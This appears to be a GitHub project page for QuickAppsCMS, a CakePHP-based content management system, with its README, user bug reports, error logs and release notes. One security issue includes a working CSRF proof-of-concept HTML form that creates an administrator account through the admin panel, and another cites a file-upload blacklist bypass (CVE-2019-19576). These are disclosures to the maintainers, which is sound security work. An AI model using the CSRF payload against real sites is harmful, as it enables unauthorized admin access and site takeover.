Modular CMS powered by CakePHP

Overview

QuickAppsCMS

Scrutinizer Code Quality Code consistency Build Status Latest Stable Version Total Downloads Latest Unstable Version License

QuickAppsCMS

Free open source content management system for PHP, released under GPL License and powered by CakePHP 3.0 MVC framework.

This is an unstable repository and should be treated as an alpha.

Requirements

  • Apache with mod_rewrite
  • PHP 5.5.9 or higher
  • mbstring extension installed
  • mcrypt extension installed
  • intl extension installed
  • fileinfo extension installed
  • PHP safe mode disabled
  • Supported database storage engines:
    • MySQL (5.1.10 or greater)
    • PostgreSQL
    • Microsoft SQL Server (2008 or higher)
    • SQLite 3
  • Write permission in your server

Installing QuickAppsCMS

You must install QuickAppsCMS using composer. QuickAppsCMS is designed to run as a stand alone application, so you must use the website skeleton as starting point:

  1. Download Composer or update composer self-update.
  2. Run php composer.phar create-project -s dev quickapps/website [your_website_name].

If Composer is installed globally, run:

composer create-project -s dev quickapps/website [website_name]

After composer is done visit http://example.com/ and start QuickAppsCMS installation.

Links of Interest

Comments
  • The bugs on latest sources

    The bugs on latest sources

    Hi Chris, I'm general the all bugs at this issues, please interesting those and fix bug. Environment: Ubuntu 14.04, PHP 5.6, MySql 5.6

    • [x] 1. Bug about Wysiwyg, you can see attached. image
    • [x] 2. Bug about Menu Link, you can see attached. image
    • [x] 3. Bug about taxonomy, you can see attached. image
    • [x] 4. Bug about manager fields, you can see attached. image
    • [x] 5. Bug about comment, you can see attached. image
    • [x] 6. Bug about loading plugin, you can see attached. image
    • [x] 7. Bug about manager user(add new user), you can see attached. image
    • [x] 8. Bug about system configuration, you can see attached. image
    • [x] 9. Bug about search with categories and term, you can see attached. image
    • [x] 10. Bug about search with categories and term as language, you can see attached. image image

    Thanks you!

    Resolved Defect 
    opened by LeLuyen 16
  • Error 500 after finished installing

    Error 500 after finished installing

    Hi There, I have problem when finished installing and go to front-end or back-end page. I have deleted the cache in the /tmp folder but it doesn't work.

    This page isn’t working 127.0.0.1 is currently unable to handle this request. HTTP ERROR 500

    XAMPP: V3.2.2 Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 OS: Window 7.

    Hold 
    opened by LeLuyen 12
  • Comment redirect issue on a

    Comment redirect issue on a "RewriteBase" installation

    Hi Chris,

    I've just installed the QACMS 1.0RC3 on an hosting provider. It was just a test and I put the installation on a subdir of a already existing domain. I had to adjust the .htaccess files (on root dir and webroot too) adding this command RewriteBase /qa13/ Where qa13 was the folder for the installation of QACMS. Everything worked fine (intallation, navigation after installation, backoffice...) When I tried to add a Comment on an Article, after clicking in the Submit button, I was redirect to an url (not found) like this: qa13/node/[domainname] the entire url was (assuming the domain name was "www.example.com"): http://www.example.com/qa13/node/www.example.com and not in the correct article path: qa13/article/test-article.html

    Strange behavior, in these days I'll try to debug this

    Thanks

    Resolved Invalid 
    opened by Gabri 11
  • An Internal Error Has Occurred. (Behavior class TreeBehavior could not be found.)

    An Internal Error Has Occurred. (Behavior class TreeBehavior could not be found.)

    Hello, I've installed QACMS and I can access the page, are able to login and visit the Dashboard. But when I try to edit or add something within the admin center I'm getting an error: "Error An Internal Error Has Occurred."

    I reinstalled QACMS and deleted the snapshot.php.

    Thanks in advance!

    errors.log

    2017-09-28 16:41:26 Error: [Cake\ORM\Exception\MissingBehaviorException] Behavior class TreeBehavior could not be found. in [ROOT]/vendor/cakephp/cakephp/src/ORM/BehaviorRegistry.php on line 115 Request URL: /en_US/admin/media_manager/explorer Referer URL: http://qacms.dev/en_US/admin Client IP: 10.0.0.5 Stack Trace: #0 [ROOT]/vendor/cakephp/cakephp/src/Core/ObjectRegistry.php(340): Cake\ORM\BehaviorRegistry->_throwMissingClassError('Tree', NULL) #1 [ROOT]/vendor/cakephp/cakephp/src/ORM/Table.php(848): Cake\Core\ObjectRegistry->unload('Tree') #2 [ROOT]/vendor/quickapps-plugins/menu/src/Controller/Component/BreadcrumbComponent.php(95): Cake\ORM\Table->removeBehavior('Tree') #3 [ROOT]/vendor/quickapps-plugins/media-manager/src/Controller/Admin/ExplorerController.php(31): Menu\Controller\Component\BreadcrumbComponent->push('/admin/media_ma...') #4 [ROOT]/vendor/cakephp/cakephp/src/Controller/Controller.php(440): MediaManager\Controller\Admin\ExplorerController->index() #5 [ROOT]/vendor/cakephp/cakephp/src/Http/ActionDispatcher.php(119): Cake\Controller\Controller->invokeAction() #6 [ROOT]/vendor/cakephp/cakephp/src/Http/ActionDispatcher.php(93): Cake\Http\ActionDispatcher->_invoke(Object(MediaManager\Controller\Admin\ExplorerController)) #7 [ROOT]/vendor/cakephp/cakephp/src/Routing/Dispatcher.php(60): Cake\Http\ActionDispatcher->dispatch(Object(Cake\Http\ServerRequest), Object(Cake\Http\Response)) #8 [ROOT]/webroot/index.php(37): Cake\Routing\Dispatcher->dispatch(Object(Cake\Http\ServerRequest), Object(Cake\Http\Response)) #9 {main}

    php -v PHP 5.6.30-0+deb8u1 (cli) (built: Apr 14 2017 16:20:58)

    Resolved Defect 
    opened by nrj4all 9
  • Timepicker not showing on Date fields

    Timepicker not showing on Date fields

    Timepicker is not showing in popup box when clicking on Date Field "Add a Time picker" is configured to be on. I have deleted the field and added a new Date field to double check.

    From debugging I can see all the settings are correct and getting passed to JS so I think the issue could be in the timepicker plugin.

    Resolved Invalid Defect Question 
    opened by paulrwest 9
  • How to install Quicapps on WHM / cPanel

    How to install Quicapps on WHM / cPanel

    Hi guys, I'm getting problems with install your Quickapps on WHM. It could not Run and notified me alert "500 Internal Server". I'm so Tired for this issue. Please can you provide me a detail instruction for installing your Quickapps? Thanks so much!

    Resolved Question 
    opened by truongtanhung 9
  • Installation does not work

    Installation does not work

    Hello Web developers I'm trying to install Quick Apps, and do not get along. Can I install this CMS via FTP? Unfortunately, I find no installer via FTP. I have also tried with Composer. It returns the same files are uploaded to the web space, which I uploaded via FTP.

    But how can I install it? Happy about rapid response.

    quickapps-ftp-view

    Resolved Question 
    opened by ghost 8
  • strange behavior on a custom content type

    strange behavior on a custom content type

    Hi,

    QACMS v1.1, but i have the same behavior on the demo site.

    I created a "faq" content type (with id and name = 'faq'), with two simple field text: question and answer (255 max width). if the id is "faq" when i list the content (/s/type:faq) the content is shown but if I click on the title (or Read More link) a blank page is shown (at home with v1.1 it redirect me on the home page) with the url: faq/faq-1.html. If i change the id of the content type to, for example, 'faq_example', it ...works: /s/type:faq_example list the content and clicking on the tile or read more link it opens correctly the page: faq_example/faq-1.html

    There is an example on demo page too (I've restored the id in 'faq', that raises the problem): http://demo.quickapps.es/eng/s/type:faq http://demo.quickapps.es/faq/faq-1.html (the problematic page)

    Resolved 
    opened by Gabri 8
  • Permanent language in the URL

    Permanent language in the URL

    I noticed that QuickApps-cms did not keep the language in the URL. What I'm talking about is keeping a reference to the selected language, other than default language, in the URL. This is an important feature in SEO for multiple languages websites.

    Resolved Defect 
    opened by saidbakr 7
  • Error: [Cake\Routing\Exception\DuplicateNamedRouteException]

    Error: [Cake\Routing\Exception\DuplicateNamedRouteException]

    Hello Developers,

    I have unfortunately a little problem right after the installation of the latest version of QuickApps. I installed with Composer and the installation was successful. The whole is on a subdomain under http://quickapps.wpzweinull.ch and I forwarded this subdomain to /webroot.

    That's right or not ?!

    In frontend I can not access the site but. In the error logs I find error messages that look like this.

    2016-08-30 08:28:28 Error: [Cake\Routing\Exception\DuplicateNamedRouteException] A route named "content_details" has already been connected to "/:content_type_slug/:content_slug.html". Request URL: /

    Maybe you can help me somehow.

    Thanks in advance, Alexander

    Resolved Defect 
    opened by ghost 6
  • Cannot access backoffice anymore (with last updates (?))

    Cannot access backoffice anymore (with last updates (?))

    Hello,

    Some days ago I've tried to update a qacms local website with composer. It updated it (after that I had some problems with permission files, but it seemed ok, no errors on updating). But from that moment I couldn't access backoffice anymore. I tried a new fresh installation just now ...nothing, these are the errors (in errors.log):

    2015-08-24 09:39:50 Error: Fatal Error (1): Call to undefined method Cake\View\ViewBuilder::viewPath() in [/opt/gabri/Web/ial2/tmp/aop/ial2/vendor/cakephp/cakephp/src/Controller/Controller.php, line 350]
    Trace:
    Cake\Error\BaseErrorHandler::handleFatalError() - CORE/src/Error/BaseErrorHandler.php, line 192
    Cake\Error\BaseErrorHandler::Cake\Error\{closure}() - CORE/src/Error/BaseErrorHandler.php, line 91
    [main] - [internal], line ??
    
    2015-08-24 09:39:50 Error: [Cake\Error\FatalErrorException] Call to undefined method Cake\View\ViewBuilder::viewPath()
    Request URL: /ial2/en_US/login
    Stack Trace:
    #0 /opt/gabri/Web/ial2/vendor/cakephp/cakephp/src/Error/BaseErrorHandler.php(91): Cake\Error\BaseErrorHandler->handleFatalError(1, 'Call to undefin...', '/opt/gabri/Web/...', 350)
    #1 [internal function]: Cake\Error\BaseErrorHandler->Cake\Error\{closure}()
    #2 {main}
    

    After a fresh installatinon the "administer your site" like at the end of installation process call the page '/ial2/en_US/admin' and I get 404: The requested address '/ial2/en_US/admin' was not found on this server.

    Instead the errors reported above is for the url '/ial2/en_US/login' (calling the 'Sign in' link in the dropdown menu in the top right).

    Problems are just mine?

    Thanks

    Resolved Question 
    opened by Gabri 6
  • [File upload vulnerability] CVE-2019-19576 is exist in the code!

    [File upload vulnerability] CVE-2019-19576 is exist in the code!

    Hi,

    Our research team in KAIST WSP Lab found a known file upload vulnerability in quickapps Please inspect this spot.

    The following known vulnerabilities exist in this code: CVE-2019-19576 The file extension filter is a blacklist, so any time a new extension is introduced (in this case phar), or any has been missed, a PHP file can be uploaded.

    Thanks!

    opened by seongil-wi 0
  • PDOException Field 'public_profile' doesn't have a default value

    PDOException Field 'public_profile' doesn't have a default value

    In the start up fase, after submit the information for the admin user I got this error:

    Error An Internal Error Has Occurred.

    And in the logs I have this:

    Error: [PDOException] SQLSTATE[HY000]: General error: 1364 Field 'public_profile' doesn't have a default value
    Request URL: /source/installer/startup/account?locale=es_ES
    

    And after set the default value to that field I got the same error for these other fields:

    'public_email' 'token' 'last_login'

    After set up default values or NULL in case of 'token' it worked.

    RFC 
    opened by lightbyte 8
  • CSRF issue that allows attacker to create an account

    CSRF issue that allows attacker to create an account

    Hello. I'd like to report a security issue on the admin page.

    Summary

    this vuln is CSRF vuln that allows creating any kinds of account.

    When an attacker induces authorized victims to a malicious webpage and make them send requests. a victim creates an account without their intent.

    Reproduce

    This is a step how to reproduce.

    1. Access to the html page contains the payload after you login to admin(/en_US/admin/) page.

    Then you find an admin account named [test] is created.

    Payloads

    <html>
      <body>
      <script>history.pushState('', '', '/')</script>
        <form action="http://your.cms.domain.example.com/en_US/admin/user/manage/add" method="POST">
          <input type="hidden" name="&#95;method" value="POST" />
          <input type="hidden" name="name" value="test" />
          <input type="hidden" name="username" value="test" />
          <input type="hidden" name="email" value="test&#64;example&#46;com" />
          <input type="hidden" name="web" value="" />
          <input type="hidden" name="locale" value="" />
          <input type="hidden" name="status" value="0" />
          <input type="hidden" name="status" value="1" />
          <input type="hidden" name="password" value="testtest" />
          <input type="hidden" name="password2" value="testtest" />
          <input type="hidden" name="roles&#91;&#95;ids&#93;" value="" />
          <input type="hidden" name="roles&#91;&#95;ids&#93;&#91;&#93;" value="1" />
          <input type="hidden" name="welcome&#95;message" value="0" />
          <input type="submit" value="Submit request" />
        </form>
      </body>
    </html>
    
    
    

    I think this security issue is not serious. Because attack using this vulnerability requires induction.

    Event

    • 2018-03-15 this vulnerability is discovered.
    • 2018-03-27 Open an issue on Github.
    Hold Defect 
    opened by fvi-att 2
  • Search engine bundles

    Search engine bundles

    Improve GenericEngine search engine adapter, provide the ability to create bundles of words based on sets of entity properties.

    This would allow to group words (extracted from entity properties) under certain "bundle name" and therefore perform search actions restricted to an specific bundle.

    RFC Enhancement 
    opened by botchris 0
Releases(2.0.0-beta2)
  • 2.0.0-beta2(May 27, 2015)

    Here is it, the second beta preview of QuickAppsCMS. Although this release is mainly focused in polishing UI look and bug fixes, it includes some new and exciting features. Below a list of changes introduced in this release.

    New Backend Theme

    A new and gorgeous backend theme has been introduced based on AdminLTE 2. Fully responsive and multiple colors schema available.

    Introducing AOP (Aspect-Oriented Programming) API

    The GO! AOP framework has been introduced as part of QuickAppsCMS's core, this brings customization to a whole new level. The old fashion alter() events are no longer supported in favor of AOP method interception.

    What is AOP?

    Aspect Oriented Programming (AOP) is a methodology meant to implement new aspects in software component using external components, but without altering the code that implements the core functionality.

    • Manuel Lemos

    Check GO! AOP documentation for further details: http://go.aopphp.com/docs/introduction/

    Content Types Permissions

    Now is possible to restrict who can edit, create, translate, delete or publish contents of certain types. These permissions are assigned per Role basis; this allows you to create complex organizations where for instance, you may have a process in place where editors produce content, but only the leader editor can decide if and when it is published.

    Customized Content Extension

    In QuickAppsCMS every content has its own URL that follows the pattern {content-type-slug}/{content-slug}.html (e.g. /article/my-first-article.html. Now is possible to change the default .html extension used when generating such URLs. You must simply define the CONTENT_EXTENSION PHP constant in your site's bootstrap (/config/bootstrap.php). For example, changing extension from ".html" to "/":

    define('CONTENT_EXTENSION', '/');
    

    Now every content's URL will look as: /article/my-first-article/

    New CAPTCHA plugin

    A new plugin has been introduced for manage CAPTCHA workflows (validation, form inputs, etc). This plugin provides its own API for handle what we call "Captcha Adapters", developers can extends this API by creating reusable Captcha adapters.

    New Media Manager plugin

    The Media Manager plugin allows you to upload, manage, and display files from your server directories. The built-in Wysiwyg editor relies on this new plugin for handling attachments and linking to content stored in you server file system structure.

    Improved Block API

    Block API has been reviewed, it do no longer relies on the Event System for handling blocks lifecycle. We have introduced Widget objects, creating new blocks is just as easy as creating a class extending Block\Widget base class. Read the documentation for more details.

    Improved Field API

    Similar to Block API the Field API has been reviewed as well, it do no longer uses the Event System for controlling Fields lifecycle. Field Handlers are now simple classes extending the Field\Handler base class, creating new Fields has never been easier. Check the documentation for further details.

    In the other hand, both EAV and Field API has been optimized for reducing the number SQl queries required to render each Field ("virtual columns" for EAV).

    Core Plugins as Packages

    QuickAppsCMS's core plugins has been splitted into independent GitHub repositories, this allows developers to use some of the QuickAppsCMS features into their projects out of the scope of the CMS itself. All plugins has been reviewed and refactored in order to reduce dependencies so they can be used by their own. These plugin can be found at official plugins account: https://github.com/quickapps-plugins

    Source code(tar.gz)
    Source code(zip)
    cms-2-0-0-beta2.zip(8.11 MB)
  • 2.0.0-beta1(Apr 20, 2015)

    The QuickApps core team is excited to announce the release of QuickAppsCMS 2.0.0-beta1. QuickAppsCMS has been entirely rebuilt from scratch based on CakePHP v3.0. This major release causes QuickAppsCMS to be incompatible with any previous version, however we are introducing several exciting new features, all aimed to facilitate developers to extend this platform.

    Below is the list of new features and changes introduced in this major version. For more specific details take a look to the new QuickBook.


    CakePHP 3.0

    QuickAppsCMS has been rebuilt from scratch based on the brand new CakePHP v3.0. We have taken advantage of the new CakePHP features such as ORM, Event System, etc. to incorporate them into QuickAppsCMS.

    The new version of QuickAppsCMS has been designed to work as a standalone application that can be installed using Composer. However you can "extend" its functionalities by creating and installing new plugins or themes. QuickAppsCMS introduces almost zero conventions in addition to CakePHP's, so creating new plugins for both platforms is exactly the same.

    Composer Compliant

    QuickAppCMS 2.0 is fully compliant with Composer's packages and CakePHP's community plugins. Plugins can be installed using an interactive Web UI. Although package dependencies are fully supported, QuickAppsCMS will not install those dependencies as Composer does.

    Plugins & Themes

    As introduced in CakePHP 3.0, plugins and themes are now the same. Nonetheless, in QuickAppsCMS any plugin suffixed with the Theme word will be automatically considered a QuickAppsCMS Theme.

    The old <PluginName>.yaml configuration file has been replaced by composer.json. Now building plugins/themes either for QuickAppsCMS or CakePHP is exactly the same.

    Check Composer installation instructions available at this link.

    jQuery & Bootstrap

    Twitter Bootstrap & jQuery libraries are now included, by default, on every QuickAppsCMS installation. Furthermore, all the templates or any HTML code generated automatically by QuickAppsCMS will follow Bootstrap conventions (CSS class names, Grid system, etc). Likewise, every JS script automatically generated by QuickAppsCMS is created with jQuery in mind.

    Two new plugins have been included (Bootstrap & jQuery) for dealing with such libraries, providing a few generic helpers to assist you.

    New Hook System

    A more flexible and consistent Hook System has been built on CakePHP's Events System. Triggering or creating events has never been easier. Attach the new HookAwareTrait trait to your classes and your are ready to go:

    $this->trigger('MyEventName', $arg1, $arg2, ..., $argn);
    

    This trait is by default attached to Controller, Helper and View classes. Check the documentation for more details.

    Shortcodes

    Shortcodes system has been rebuilt as well, changing the way they work and how they look:

    {my_shortcode color=red} Content of my hook tag {/my_shortcode}
    

    Shortcodes are now globally parsed before content is presented to users, this allows you to use shortcodes absolutely anywhere you wish; in yout contents, in your template files, etc.

    Check the Shortcode API.

    EAV & Field APIs

    QuickAppsCMS's flexibility comes mainly from its Field API (a.k.a. Drupal's CCK), which allows to create and define virtually any content type. Although this API worked just fine in early version of QuickAppsCMS, its complexity was its major weakness; creating new Fields was a complex task.

    In v2.0 a new EAV API has been introduced, which provides a generic implementation for EAV data model. The Field API has been rebuilt on top of this new API in combination with the new Hook System. Furthermore, several utility classes has been introduced to assist you when creating new Fields.

    Check the Field API documentation for further details.

    User Notification API

    A new Notification API has been introduced in QuickAppsCMS 2.0 to better deal with mailing users. This API provides a very simple mechanism for defining and sending email messages to any registered user in the system, for example:

    $user = $this->Users->get($id);
    $result = NotificationManager::welcome($user)->send();
    

    Check Notification API documentation.

    Search API

    The new Search API allows entities to be search-able through an auto-generated index of words. It also provides searching methods for filtering Entities using human- readble criteria, for instance:

    $criteria = '"this phrase" OR -"not this one" AND this';
    $nodes = $this->Nodes->search($criteria);
    

    Search Operators

    An Operator is a search-criteria command which allows you to perform very specific filter conditions in your SQL queries. An operator is composed of two parts: a name and its argument, both parts must be separated using the : symbol, e.g.:

    // operator name is: "created"
    // operator argument is: "2013..2016"
    created:2013..2016
    

    And it can be used as follow:

    $criteria = 'created:2013..2016 AND "has this title"';
    $nodes = $this->Nodes->search($criteria);
    

    Check the Search API documentation

    Block & Region APIs

    The Block API has been rebuilt. It is now more flexible and robust, allowing to create Widget blocks in a simple way. Also, the way blocks are rendered in your themes has changed:

    echo $this->region('left-sidebar');
    

    The new Region API allows to do nifty things such as combine two or more regions, or limiting the number of blocks it can hold:

    echo $this->region('left-sidebar')
            ->merge($this->region('right-sidebar'))
            ->blocksLimit(3);
    

    Checks the designer guide for further information.

    What's Next

    This beta release will be the first of two Beta releases, meaning there will be one more Beta version and at least one RC version before releasing the final and stable version of QuickAppsCMS v2.0. Although most of the initially planned features have already been implemented in this release, the feedback received will help us determine if more features will be included in the future.

    Future releases will focus on:

    • API stabilization
    • Bug fixes
    • Creating new test cases
    • Keep working on the QuickBook

    P.S.: We are also looking for translators as the only currently available language is English (Your help translating would be well received).

    Source code(tar.gz)
    Source code(zip)
    cms-2-0-0-beta1.zip(6.67 MB)
Owner
QuickApps
QuickApps
A modular multilingual CMS built with Laravel 5.

AsgardCMS Platform View the documentation at AsgardCMS.com/docs. Join the conversation on Slack License The AsgardCMS is open-sourced software license

AsgardCMS 770 Jan 2, 2023
A PHP CMS powered by Laravel 5 and Sentry

Bootstrap CMS Bootstrap CMS was created by, and is maintained by Graham Campbell, and is a PHP CMS powered by Laravel 5.1 and Sentry. It utilises many

Bootstrap CMS 2.5k Dec 27, 2022
Polymorphic and Multilingual CMS powered by Laravel

Nuclear CMS Polymorphic and multilingual content management system. Nuclear is a polymorphic and multilingual content management system powered by Lar

Nuclear CMS 36 Nov 29, 2022
Icônes Form Widget for October and winter CMS. One library, over 100,000 vector icons, and 108+ icon sets powered by Iconify

Icônes Form Widget ?? ?? ?? Access thousands of SVG icons as a backend form widget. One library, over 100,000 vector icons, Modern replacement for ico

Adil Chehabi 12 Aug 29, 2022
Statamic 3 - the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites

Statamic 3 - the flat-first, Laravel + Git powered CMS designed for building beautiful, easy to manage websites

Statamic 600 Jan 4, 2023
True Multisite, Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony

True Multisite, Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS powered by PHP, Markdown, Twig, and Symfony

null 4 Oct 28, 2022
The modular open source laravel administration panel

Laralum What is Laralum? Laralum is an idea that came to our mind when we found no CMS that had the right balance between power and flexibility. This

Laralum 297 Nov 10, 2022
Simple, modular content management system adapted for launch pages and one-page websites

Segmint Segmint is an easy-to-use flat-file landing page framework, allowing quick and efficient prototyping and deployment - perfect for freelancers

null 2 Jul 19, 2022
Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS

Flextype is an open-source Hybrid Content Management System with the freedom of a headless CMS and with the full functionality of a traditional CMS. Building this Content Management System, we focused on simplicity. To achieve this, we implemented a simple but powerful API's.

Flextype 524 Dec 30, 2022
PHPVibe Open source video CMS / Video Sharing CMS / Youtube Api v3 / Video Embeds

PHPVibe Video CMS Free Video Sharing CMS The modern choice of design inspired by Youtube and a social videos sharing module that may just cut it for y

MediaVibe 71 Dec 18, 2022
NukeViet 132 Nov 27, 2022
BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the project website for more information.

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

null 5 Aug 15, 2022
Baicloud CMS is a lightweight content management system (CMS) based on PHP and MySQL and running on Linux, windows and other platforms

BaiCloud-cms About BaiCloud-cms is a powerful open source CMS that allows you to create professional websites and scalable web applications. Visit the

null 5 Aug 15, 2022
Doptor CMS is a Laravel 5 based CMS

Introduction Doptor CMS is a Laravel 5 based CMS. Find out more about Doptor by reading below. ;) About Doptor CMS Doptor is an Integrated and well-de

DOPTOR 4 Sep 11, 2022
Bismuth CMS is a ready-made Website CMS based on Yii 2 Advance Template

Bismuth CMS is a ready-made Website CMS based on Yii 2 Advance Template, it's the simplest and easy to set up CMS you may come across.

Hamadas Telebrain 1 Feb 11, 2022
GetSimple CMS - a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP

GetSimple CMS is a flatfile CMS that works fast and efficient and has the best UI around, it is written in PHP.

null 370 Dec 30, 2022
Amila Laravel CMS - Free, open-source Simple Bootstrap Laravel CMS

Simple Bootstrap Laravel CMS. Support Laravel 8.x Can integrate into any existing Laravel project. Only add few database tables with prefixes, not affect your existing database tables. Support Laravel 7.x & Laravel 6.x & Laravel 5.x & MySql & PostgreSql - Amila Laravel CMS

Alex Zeng 96 Sep 6, 2022
Modern, Crazy Fast, Ridiculously Easy and Amazingly Powerful Flat-File CMS

Grav Grav is a Fast, Simple, and Flexible, file-based Web-platform. There is Zero installation required. Just extract the ZIP archive, and you are alr

Grav 13.6k Jan 4, 2023
Self-hosted CMS platform based on the Laravel PHP Framework.

October is a Content Management System (CMS) and web platform whose sole purpose is to make your development workflow simple again. It was born out of

October CMS 10.8k Jan 4, 2023